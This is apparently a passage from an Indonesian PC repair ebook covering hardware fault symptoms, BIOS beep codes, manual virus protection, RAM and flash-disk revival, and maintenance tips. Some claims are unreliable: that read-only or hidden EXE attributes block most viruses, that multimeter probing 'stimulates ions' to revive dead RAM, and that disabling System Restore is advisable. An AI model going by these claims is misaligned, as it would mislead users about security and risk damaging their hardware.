• Membuka Registry Editor, baik untuk memeriksa maupun untuk mengedit sebagian isinya.
Safe Mode merupakan fitur standard Windows dan terkadang cukup bermanfaat untuk beberapa masalah
seperti diatas, walaupun terkadang seperi virus juga bisa aktif didalam mode ini, sehingga menggunakan safe
mode saja tidak cukup.
Hapus Tombol [Turn Off Computer] di Welcome Screen
1. . Klik [Start] > [Run...] kemudian ketik regedit32.exe
2. Masuklah ke Sub key
KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.
- 20 -
3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian
klik dua kali entry tersebut.
4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.
5. Tutup Registry Editor, kemudian Restart Windows Anda
Cara menangani komputer rusak
Jika PC sering kali menunjukan adanya peng-alamatan yang rumit, atau menampilkan suatu pesan
error, mengeluarkan bunyi beep yang terus menerus secara beraturan atau tidak beraturan, PC tersebut
kemungkinan besar sedang dalam masalah, saya akan memberikan Tips dan solusi untuk mengatasi masalah
tersebut dan PC Anda dapat berfungsi kembali seperti sedia kala.
Masalah atau kerusakan yang timbul biasanya dikategorikan dalam 2 jenis kerusakan yaitu : Masalah atau
kerusakan Hardware dan Software
Jenis Kerusakan Dapat dikategorikan menjadi 2 kategori, yaitu :
1. Kerusakan Pada Hardware (Perangkat Keras)
2. Kerusakan Pada Software (Perangkat Lunak)
Kerusakan pada Hardware :
Masalah dengan komponen Hardware perlu penanganan yang serius karena sulit dilokalisir dan
disingkirkan tanpa tools yang tepat, keahlian dan pengalaman yang menunjang. Penjelasan akan berkisar
pada masalah yang sering terjadi disertai dengan cara mengatasinya.
v Kerusakan Pada Power Supply
Gejala :
Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator
(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor tidak menyala.
Solusi :
Periksalah apakah kabel terhubung dengan benar dan steker terpasang dengan baik pada soketnya, periksa
juga apakah ada tombol on/off dibelakang tepatnya dibelakang Power Supply sudah dalam posisi On, Jika
sudah yakin terpasang dengan benar tapi tetap tidak ada respon untuk meyakinkan silahkan anda ganti kabel
- 21 -
power dengan yang anda yakini bagus. Masalah terjadi karena tidak adanya tegangan listrik yang masuk,
kerusakan ada pada kabel power.
Masalah :
Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator
(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor menyala.
Solusi :
Lakukan seperti langkah diatas, tetapi jika masih belum ada respon berati masalah ada pada Power Supply,
Silahkan anda ganti PS nya, Saya sarankan sebaiknya anda ganti saja Power Supply yang rusak dengan yang
baru, dan hati-hatilah dalam pemasangannya.
Catatan : Jika kerusakan hanya pada Power Supply saja, Setelah anda menggantinya, komputer akan
kembali bekerja dengan normal. Kecuali jika ada masalah pada komponen yang lainnya seperti Mother
Board, VGA Card dan Memory.
v Kerusakan Pada Mother Board
Gejala :
Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala, lampu
indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada suara
beep di speaker.
Solusi :
Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel
keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.
Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel
tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam
pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound
atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa
Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.
Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada
kalanya Mother board tidak jalan karena kerusakan pada program yang terdapat di BIOS
Gejala :
Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan diam
- 22 -
beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan
“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan
tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.
v Kerusakan Pada Harddisk
Solusi :
Periksa kabel tegangan dan kabel data yang masuk ke harddisk apakah longgar, sebaiknya dikencangkan,
kemudian nyalakan dan coba anda dengarkan apakah suara yang keluar dari harddisk normal, jika tidak
normal berati harddisk rusak di controllernya.
Gejala :
Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu muncul pesan “Operating system not
found”.
Solusi :
Ada kemungkinan Operating system rusak, bisa diatasi dengan install ualng atau jika OS anda menggunakan
windows 2000/XP ada Fasilitas Repairnya. atau ada kemungkinan juga harddisk anda tidak terdeteksi dan
lakukan langkah diatas
Gejala :
harddisk bad sector?
Solusi :
Ada beberapa faktor penyebab terjadi bad sector diantaranya, tegangan listrik tidak stabil, sering terjadi
putusnya aliran listrik secara mendadak, setelah pemakaina tidak di shot down, pemakaian yang terlalu lama,
ada 2 jenis bad sector yaitu fisik dan software…..Untuk mengatasinya ada beberapa cara, diantaranya
menggunakan software untuk menghilangkan badsector….pembahan lebih lanjut ada di eBook Metode
perbaikan komputer dan bisa anda dapatkan jika anda bergabung menjadi Member Aktif.
v Kerusakan CD/DVD/ROM/RW & Floppy Disk
Gejala :
Jenis kerusakan yang biasa ditemui :
1. Tidak terdeteksi di windows
2. Tidak bisa keluar masuk CD
- 23 -
3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)
4. Tidak bisa membaca/menulis/write protect (Floppy disk)
Solusi :
1. Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah sudah
dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di Controllernya.
2. Kerusakan ada pada mekanik motor atau karet motor.
3. Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set ualng
optik tersebut.
4. Head Kotor, bisa dibersihkan menggunakan Cutenbud (langkah-langkah diatas secara lengkap dapat
anda temukan di e-book “Metode perbaikan komputer cepat dan akurat” dan bisa anda dapatkan jika anda
bergabung menjadi member perbaikankomputer.com
Masalah BIOS
Gejala :
Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan bahkan
anda tidak dapat masuk ke BIOS.
Solusi :
Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup BIOS
pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya anda
tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya. Kemudian
hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper pada posisi
semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut, Chip BIOS
harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam
pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.
Gejala :
CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar monitor,
padahal monitor tidak bermasalah.
Solusi :
Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis
- 24 -
kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,
yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi
penyebabnya.Silahkan anda periksa masalah tersebut.
Berikut Pesan kesalahan BIOS :
Bunyi kesalahan BIOS biasanya tidak semua. Motherboard menandakan kesalahan yang sama tergantung
dari jenis BIOS nya.
[AMI BIOS]
Beep 1x : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 -
Menunjukan Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card
tidak terpasang dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan
yang baru.
[AWARD BIOS]
Beep 1x Panjang : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek :
Kerusakan Pada Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang
masuk), Beep 1x Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi
terus menerus : RAM atau Graphic Card tidak terdeteksi.
Batrey CMOS Rusak / Lemah
Gejala : Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC
CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke
Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.
Solusi : Segera Ganti Batrey nya
Gejala : CPU yang sering Hang?
Solusi : Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada
masalah di Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya
sudah lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan
berakibat lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut
Gejala : Komputer sering tampil blue screen apa penyebabnya?
Solusi : Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari
hardisk, bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.
- 25 -
Gejala : Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat
Solusi : Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh,
terlalu banyak program / software yang memakan space harddisk dan memory, ada virus, harddisk
badsector.
Cara Mudah Proteksi komputer anda dari virus tanpa program Antivirus &
Firewall
Untuk mencegah virus, trojan, worm dan sejenisnya dengan memakai antivirus?, belum tentu
berguna. Karena virus selalu lebih baru dari antivirus, kalau proteksi dengan program firewall & Antivirus
RTS? (Real Time System), bisa juga... cumannya komputer anda akan berjalan lebih lambat, karena
program tersebut residen di memory dan memakan system resource lagi pula setiap anda membuka program
baru, selalu akan muncul pertanyaan apakah program ini boleh dijalankan.
Jadi solusi yang aman, cepat dan praktis bagaimana? Nah baca lebih lanjut artikel ini. Artikel ini
sengaja ditulis bagi anda yang ingin mencegah kerusakan system, file dan data anda tanpa perlu campur
tangan antivirus dan firewall alias MANUAL.
Pertama-tama akan kami jelaskan definisi dan bagaimana virus, trojan, worm dan sejenisnya bisa masuk ke
dalam sistem komputer anda.
Ø Virus sebenarnya lain dengan trojan atau worm, tapi pada prakteknya penyebarannya virus
banyak di maanfaatkan oleh program worm dan trojan. Trojan adalah sebuah program yang
dapat dijalankan (biasanya ber-ekstension EXE) oleh pengguna komputer dan ketika
program tersebut dijalankan, dia akan merubah sesuatu dari sistem komputer kita (pada
umumnya registri windows yang diubah). Nah kalau virus itu residen di memori dan dia akan
merubah file yang biasanya ber-ekstension EXE atau COM dan kadang-kadang file tersebut
menjadi rusak. Kalau worm (cacing) merupakan program kecil yang berupa script yang bisa
nempel di mana aja, bahkan bisa nempel di html file (file website).
Program antivirus pada umumnya menggabungkan semua worm dan trojan dalam kategori
VIRUS, cuma mungkin dikasih kode virusnya contoh yang worm di kasih kode W
depannya baru nama worm tersebut (contoh: w32/sober) dan kita juga akan
menggangapnya sama karena semua itu merusak sistem file komputer. Intinya virus bisa
berupa atau berfungsi seperti trojan/worm dan sebaliknya juga, apalagi kalau file tersebut
- 26 -
telah ter-infeksi, otomatis akan menjadi file trojan/worm juga, karena kalau pengguna
membukanya akan meng-infeksi file-file lainnya.
Ø Penyebaran virus dulunya hanya bisa melalui media luar seperti disktet, tapi di jaman ini
virus pada umumnya memanfaatkan teknologi internet untuk menyebar luas. Cara masuknya
bisa melalui E-mail (attachment), mirc, messenger (kirim/download file), download dr situs
(terutama situs porno) atau bahkan memanfaatkan kelemahan dari sistem browser kita.
Banyak cara pembuat virus untuk menjebak orang supaya tertarik untuk men-download dan
membuka file yang ber-virus, antara lain dengan iming-iming gambar porno, gambar lucu,
tools yang berguna buat anda, cara dapat uang, games bagus, hingga yang baru-baru ada
pesan dr FBI/CIA untuk anda.
Sebenarnya cara mengatasi virus itu cukup mudah, antara lain:
Ø Jangan membuka atau menerima file yang di dapat dr email, mirc dan messenger kalau anda belum
kenal dengan pengirimnya dan belum yakin file itu berisi virus.
Ø Kalau anda browser ke situs yang tidak anda kenal, matikan program java & java script. Matikan
juga fitur install auto atau install on demand supaya program yang berisi virus tidak akan masuk
secara otomatis ke komputer anda.
Ø Kalau membuka disket, CD, DVD, USB drive dan media luar apapun bentuknya, scan dahulu
dengan program antivirus untuk memastikan itu benar-benar aman.
Tips di atas mungkin akan mencegah masuknya virus ke komputer anda, tapi tidak akan 100% pasti
komputer anda tidak terkena virus, bisa saja anda kecolongan. Lebih dari 90% komputer yang terkoneksi di
Internet pernah terkena virus. Nah untuk mengatasi supaya anda aman dari virus, walaupun virus tersebut
sempat masuk ke komputer anda, berikut ini adalah caranya:
Ø Virus pada umumnya akan merusak dan memperlambat proses kerja komputer. Untuk
menghindari kerusakan yang ditimbulkan virus, anda harus punya cadangan penyimpanan data
atau file system. Untuk itulah backup system & data sangat diperlukan, apalagi kita tidak akan
mengetahui virus di masa yang akan datang akan secanggih apa dan efek kerusakan yang
ditimbulkan sejauh apa. cara backup pada winXp dan winme dengan create restore point
dahulu di program> accesories> system tools> system restore, win98 bisa pakai Microsoft
Backup dengan membackup folder windows semuanya. Khusus untuk data, Winxp dan winme
juga harus menggunakan Microsoft Backup, karena system restore tidak 100%
mengembalikan data anda.
Kalau anda males melakukannya secara manual, winxp dan winme sudah otomatis
- 27 -
melakukannya setiap anda mematikan komputer anda, Untuk win98 satu-satunya cara hanya
memakai program system schedule windows atau program lainnya yang berfungsi sebagai
otomatis backup, ketika komputer lagi idle. tapi untuk pastinya, winxp dan winme juga harus
memakai program tersebut supaya bila terjadi apa-apa, anda tinggal me-restore kembali. Bila
komputer anda hari ini terkena virus, anda tinggal restore system sebelumnya atau yang kemarin.
Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE,
dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows
anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat
berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk
melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.
Ø Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi
READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan
SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE
(search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil
(atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di
bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa
menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh:
c:\windows>attrib +r *.exe
Hal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena
pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih
yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN
(menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua
pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut.
Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda,
anda bisa pilih "show all hidden files" di "folder option".
Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal
ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau
COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang
penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda
sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka
proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau
- 28 -
diupdate, dan akan muncul pesan error.
Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara
virus merusak/merubah file, membasmi atau menghapus virus secara manual, akan penulis
bahas di kesempatan lain.
10 Jurus Sakti Antivirus dan Worm
Mencegah lebih baik daripada mengobati. Pepatah ini ternyata berlaku juga di dunia komputer.
Daripada mengeluarkan biaya besar untuk mengobati komputer, lebih baik sedini mungkin melakukan
pengamanan yang dapat menjauhkan komputer Anda dari serangan virus. Berikut sepuluh virus sakti untuk
mengelakkan serangan virus dan worm pada komputer Anda:
1. Selalu lakukan Scan terhadap disket yang masuk ke dalam PC Anda.
Meski nampaknya sepele, tapi hal kecil ini akan membantu melindungi komputer Anda dari virus
yang ditularkan melalui perilaku tukar menukar disket. Jika sebuah PC terinfeksi oleh virus, maka
disket yang dimasukkan kedalamnya, kemungkinan besar akan terinfeksi juga. karena itu, jangan
sembarangan membuka disket milik teman pada komputer Anda, sebelum disket itu lolos seleksi
scandisk. Jika ternyata program scandisk dapat mendeteksi keberadaan virus tetapi tidak dapat
menyembuhkannya, jangan memaksa untuk membuka file pada disket tersebut. Toh, ini juga bisa
menjadi semacam warning bagi Anda, supaya segera melengkapi komputer Anda dengan penangkal
virus.
2. Scan juga CD yang masuk kedalam CD drive Anda.
Meski tampaknya lebih eksklusif dan aman, tetapi CD ternyata juga memiliki potensi yang sama
seperti disket, dalam menularkan virus. Karena itu, jangan lengah! Tetap lakukan scan terhadap
sebuah CD yang akan dipasang pada komputer Anda, sekalipun CD itu baru saja dibeli dari toko.
3. Lakukan scan terhadap harddisk Anda, tiap kali Anda akan mulai bekerja dengannya.
Sebagaimana balita yang selalu diperiksa kesehatannya, PC Anda juga harus selalu dipantau apakah
masih sehat atau telah terinfeksi oleh virus. Lagipula dengan melakukan scan terhadap harddisk
sebelum memulai suatu pekerjaan, Anda mengurangi resiko gangguan yang diakibatkan oleh virus
selama proses kerja Anda. Selain itu, juga memperkecil peluang terjadinya kerusakan pada file
Anda.
4. Proteksi disket Anda, jika Anda memasukkannya ke dalam PC orang lain.
Seperti telah disebutkan diatas, jika Anda terpaksa harus memasukkan disket milik Anda ke dalam
- 29 -
komputer orang lain, maka disket Anda perlu diproteksi terlebih dahulu. Konsekuensinya, Anda
tidak dapat melakukan perubahan terhadap file yang tersimpan dalam disket tersebut.
5. Jangan sembarangan men-download attachment.
Dewasa ini banyak jenis worm yang mengirimkan copy dirinya dalam bentuk attachment e-mail.
Misalnya worm Miss world. karena itu Anda jangan sembarang membuka attachment jika alamat
pengirim tidak Anda kenal. Bahkan meskipun Anda mengenali alamat pengirim, jika tidak ada
kesepakatan sebelumnya bahwa orang tersebut akan mengirimkan e-mail berikut attachment, maka
sebaiknya Anda menghapus saja attachment tersebut. Tidak peduli betapapun menariknya subjek
attachment tersebut. Karena banyak pencipta worm, memanfaatkan keingintahuan seseorang agar
mau membuka attachment maut tersebut. Misalnya virus Jenifer Lopez dan worm Miss world yang
dikatakan memuat gambar bugil Jenifer Lopez dan gambar Miss world dalam kostum bikini.
6. Selektif dalam membuka e-mail.
Begitu juga hukum yang berlaku dalam membuka e-mail. sejumlah virus dan worm menduplikasi
dirinya dan mengirimkan copy tersebut pada seluruh alamat e-mail yang tertera pada address book
Microsoft Outlook Express komputer yang diserangnya. Dengan demikian, si calon korban tidak
akan menaruh kecurigaan dan dengan segera akan membuka e-mail beracun tersebut. Karena itu,
jika Anda menerima e-mail dari seseorang yang Anda kenal, tetapi dengan subjek yang aneh
sebaiknya langsung hapus saja e-mail itu. Kecuali Anda berdua memang sudah membuat janji
sebelumnya.
7. Memasang dan selalu meng-update program antivirus pada komputer Anda.
Terkadang, orang yang masih awam dibidang komputer, merasa sudah aman jika sudah memasang
program Norton atau MacAffee. Anda salah! Program antivirus itu memiliki masa kadaluarsa juga
seperti makanan kaleng. Karena itu, Anda harus selalu meng-update program antivirus Anda. karena
program antivirus yang sudah expired, tidak akan punya gigi lagi untuk menahan serangan virus pada
komputer Anda.
8. Selalu mengikuti perkembangan berita terbaru tentang virus.
Selain memiliki masa kadaluarsa, program antivirus ini juga selalu mengalami update sehubungan
dengan virus-virus baru yang terus di-release. Para ahli terus menerus melakukan pengembangan
untuk menandingi pencipta virus yang juga berlomba-lomba menciptakan virus yang lebih ganas dari
hari ke hari. Karena itu Anda harus rajin mengikuti berita tentang perkembangan virus yang terbaru.
Setelah itu, Anda dapat mencari di internet perusahaan antivirus terbaru yang telah meng-update
produknya untuk mengantisipasi serangan virus baru tersebut. Banyak sekali perusahaan software
antivirus yang menyediakan fasilitas download gratis melalui internet.
- 30 -
9. Men-download Microsoft Outlook Security Patch ke dalam sistem komputer Anda.
Sebagaimana diketahui, tidak ada program software yang sempurna. Maksudnya, pasti ada bug atau
titik lemah di dalam software itu. demikian juga halnya yang terjadi dengan aplikasi Microsoft
Outlook Express. Karena itu, dengan men-download Microsoft Outlook Security Patch ke dalam
sistem komputer Anda, berarti Anda telah menanggulangi bug yang ada pada program ini. Berkat
bantuan program kecil ini, kinerja dari "satpam" Microsoft Outlook Express menjadi lebih maksimal
dalam menjaga komputer Anda, dari virus atau worm yang menyerang dengan memanfaatkan
address book Microsoft Outlook express.
10. Menonaktifkan Windows Scripting Host.
Sebagaimana diketahui, banyak virus dan worm baru yang dikembangkan dengan visual basic
scripting di bawah sistem windows. Untuk memperkecil serangan, Anda sebaiknya menonaktifkan
program yang berfungsi untuk mengotomatisasi suatu fungsi. Namun demikian, perlu diingat bahwa
tidak semua virus berbahasa VBS dapat ditahan dengan menonaktifkan program ini.
Tips Memperbaiki Memori Komputer yg Mati
Memory atau yang kita kenal RAM adalah salah satu perangkat keras(Hardware yang sangat Fital
dalam CPU, maka itu ini salah satu tips dan pengalaman saya tentang menangani memory PC (SDRAM,
DDRAM) yang sudah anda anggap mati (asal tidak mengalami kerusakan fisik yang parah ,misalnya terbakar
atau hancur/patah), karena biasanya menurut yang saya lihat bila memory sudah di nyatakan mati oleh pemilik
PC atau oleh teknisi komputer maka biasanya langsung saja di ganti dengan membeli memory yang baru,
padahal masih ada kemungkinan memory tersebut di bikin hidup atau berfungsi lagi.
Berikut ini saya punya tips untuk menangani memory yang sudah di anggap mati tersebut berdasarkan
pengalaman selama menggeluti dunia hardware , dengan akurasi dia atas 70 %, jadi misalnya anda memiliki
10 keping memory mati maka ada kemungkinan 7 keping masih bisa di selamatkan…cukup lumayan kan.?
kita bisa menghemat uang beberapa ratus ribu utntuk perkepingnya.
1. Bersihkan memory tersebut dengan cara menggosok pin-pin memory tersebut dengan kain dengan
tujuan membersihkan, boleh juga di beri Tiner sedikit supaya lebih bersih dari debu, dan gesekan
dengan kain tersebut juga akan memancing ion-ion pada pin memory menjadi tersimulasi agar
konduktornya lebih aktif.
2. Arahkan skala Avometer pada Ohm (skala untuk mengukur hambatan), bebas boleh pada posisi 1K,
10K, 100K…
3. Ambil jarum negative (-) Avometer (kabel warna hitam) lalu tempelkan pada salah satu pin/kaki
memory, dan jarum positive (kabel warna merah) gesekan pada pada kumpulan kaki-kaki IC/chipset
- 31 -
memory ,bila memory memiliki 8 buah IC misalnya maka gesekan jarum (+) tersebut ke kaki-kaki 8
IC tersebut.
4. Selesai….silahkan coba pasang memory tersebut pada slotnya di Mainboard….!
Note:
Proses ini adalah memanfaatkan aliran arus listrik dari batere Avometer yang di alirkan ke dalam
sirkuit-sirkuit IC/Chipset memory . Cara kerja proses ini adalah seperti halnya proses Clear CMOS pada
Mainboard apabila Mainboard mengalami crash dan tidak mau hidup, yaitu terjadinya gangguan atau
penyumbatan pada perjalanan arus listrik sehingga arus yang diperlukan untuk untuk pengaktifan suatu
system tidak terpenuhi….atau seperti ilustrasi orang yang pingsan atau koma lalu kita coba bangunkan
dengan cara di pancing syaraf-syarafnya untuk aktif dan sadar dengan cara di siram air, di setrum..dsb.
Flash Disk Anda Rusak ? Tiba-tiba Mati ?
Pernah mengalami kejadian seperti ini:
Saat flash disk tertancap di komputer win XP, sedang dipakai namun tiba-tiba windows hank alias
frozen. Setelah komputer di booting paksa dan di hidupkan lagi, ternyata flash disk yang tertancap tadi mati.
Falsh disk tidak bisa bekerja lagi. Windows mendeteksi kapasitasnya 0 MB dan mengeluarkan pesan untuk
memformatnya. Dicoba untuk di format gagal juga. Akhirnya gak terpakai lagih Flashdisk”. Kalau memang
kasus seperti ini yang anda alami terhadap kerusakan flash disk anda. jangan khawatir kita masih bisa coba
untuk menyelamatkan dan menghidupkanya lagi. Berikut ini langkah-langkah untuk memperbaikinya:
Ø Softawre yang kita perlukan untuk keperluan ini adalah HP Drive Boot Utility (buatan HP
namun jangan khawatir ternyata bisa kita gunakan untuk merek yang lainya. Bahkan untuk
memory kamerajuga).
Ø Setelah di download, jalankan dan pilih drive untuk falsh disk yang akan diperbaiki.
Ø Pilih tipe format disk yang mau di gunakan (FAT, FAT32 atau NTFS)
Ø Pilih Quick Format
Ø Kemudian pilih start untuk memulainya.
Tips Merawat Komputer
Mungkin saat ini, computer menjadi suatu barang yang wajib dikenal and diketahui terutama oleh
- 32 -
kebanyakan mahasiswa. Memang tidak wajib, namun kita mengenal computer tentu saja akan membuat apa
yang kita kerjakan semakin mudah. Pun lebih dari itu, sekumpulan computer yang terhubung dalam jaringan
atau network dapat digunakan untuk berbagi sumberdaya dan informasi.Pertanyaan yang sering mucul
adalah, bagaimana kah cara yang bisa dilakukan tuntuk merawat computer..? karena tak jarang computer
yang kita miliki itu rusak baik itu karena terkena virus, adanya komponen dalam CPU computer yang rusak
ataupun crash nya instalasi yang kita lakukan pada computer.
Ada baiknya jika kita mengetahui bagaimana cara untuk merawat computer sehingga sebelum
computer itu rusak, kita sudah dengan susah sekuat tenaga untuk merawat computer kita namun kalo
memang sudah waktu nya rusak yam au gimana lagi, berikut ini penulis ingin membagikan beberapa tips
untuk merawat computer….so lets cek it now
1. Bersihkan motherboard & periferal lain(hardware) dari debu secara berkala. Untuk
membersihkannya dapat kiga gunakan kuas halus ukuran kecil dan sedang. Setidaknya dua
bulan sekali hal ini harus dilakukan. Buka casingnya terlebih dahulu kemudian bersihkan
motherboard dan periferal lain (RAM, Video Card, Modem, Sound Card,
CDR/CDRW/DVRW, TV Tuner) dengan sikat halus. Pada saat komputer tidak
digunakan tutuplah komputer (monitor, CPU, keyboard/mouse) dengan cover sehingga
debu tidak mudah masuk ke dalam komputer.
2. Uninstall atau buang program yang tidak berguna. Ruang harddisk yang terlalu banyak
tersita akan memperlambat proses read/write harddisk sehingga beban kerjanya akan lebih
berat sehingga harddisk akan cepat rusak. Biasanya akan muncul warning juga space
hardisk kita sudah penuh. System operasi windows sudah mendukung akan hal yang
seperti ini
3. Bersihkan Recycle Bin secara rutin. Sebenarnya file/folder yang kita hapus tidak langsung
hilang dari harddisk karena akan ditampung dahulu di Recycle Bin, namun ada beberapa
jenis setingan yang bisa kita gunakan antara lain memberikan peringatan saat menghapus,
hapus lalu simpan di tempat sementara atau hapus permanen. Untuk setingan yang hapus
lalu disimpan ditempat penampungan ini dengan maksud agar suatu saat apabila Anda
masih membutuhkannya dapat mengembalikan lagi. Recycle Bin yang sudah banyak juga
akan menyita ruang harddisk yang dapat menyebabkan pembacaan harddisk jadi lelet.
Caranya :
- 33 -
>> jalankan Windows Explorer
>> klik Recycle Bin
>> klik File
>> klik Empty Recyle Bin.
Atau Anda dapat menjalankan fungsi Disk Cleanup Caranya :
>> Klik Start
>> Program
>> Accessories
>> System Tool
>> Disk Cleanup
>> kemudian pilih drive yg mau dibersihkan
>> setelah itu centangilah opsi Recycle Bin kalau perlu centangi juga yg lain (seperti
temporary file, temporary internet file), setelah klik OK.
4. Install program antivirus dan update secara berkala. Untuk dapat mengenali virus/trojan2
baru sebaiknya update program antivirus secara berkala. Virus yang terlanjur menyebar di
komputer dapat membuat Anda menginstall ulang komputer. Hal ini selain membutuhkan
biaya juga akan menyebabkan harddisk Anda akan lebih cepat rusak dibanding apabila
tidak sering diinstall ulang. Ada baiknya kita menonaktifakan sistem restore yaitu dengan
cara klik kanan My Computer >> pilih System Restore >> lalu beri tanda centang pada
cek box dengan keretangan Turn off System Restore on all drive
5. Tutup / close program yg tidak berguna Setiap program yg diload atau dijalankan
membutuhkan memory (RAM) sehingga semakin banyak program yg dijalankan semakin
banyak memory yg tersita. Hal ini selain dapat menyebabkan komputer berjalan lambat
(lelet) juga beban kerja menjadi lebih berat yg akhirnya dapat memperpendek umur
komponen/komputer
6. Pakailah UPS atau stavolt.Pakailah UPS untuk mengantisipasi listrik mati secara tiba-tiba
yg dapat mengakibatkan kerusakan pada harddisk. Kalau terpaksa tidak ada UPS,
pakailah Stavolt untuk mengantisipasi naik turunnya tegangan listrik.
7. Aktifkan screensaver Selain bersifat estetis, screensaver mempunyai fungsi lain yg penting.
Monitor CRT juga televisi menggunakan fosfor untuk menampilkan gambar. Kalau monitor
menampilkan gambar yg sama untuk beberapa saat maka ada fosfor yang menyala terus
- 34 -
menerus. Hal ini dapat mengakibatkan monitor bermasalah yaitu gambar menjadi
redup/kurang jelas. Lain halnya jika monitor Anda adalah LCD, LED yg sudah dilengkapi
dengan energy saving, maka screensaver tidak terlalu dibutuhkan lagi.Cara+ mengaktifkan
screensaver dapat dilakukan dengan banyak cara, salah satunya
>> klik Start
>> Control Panel
>> Display
>> klik tab screensaver,
>> kemudian pilih sesuai selera Anda.
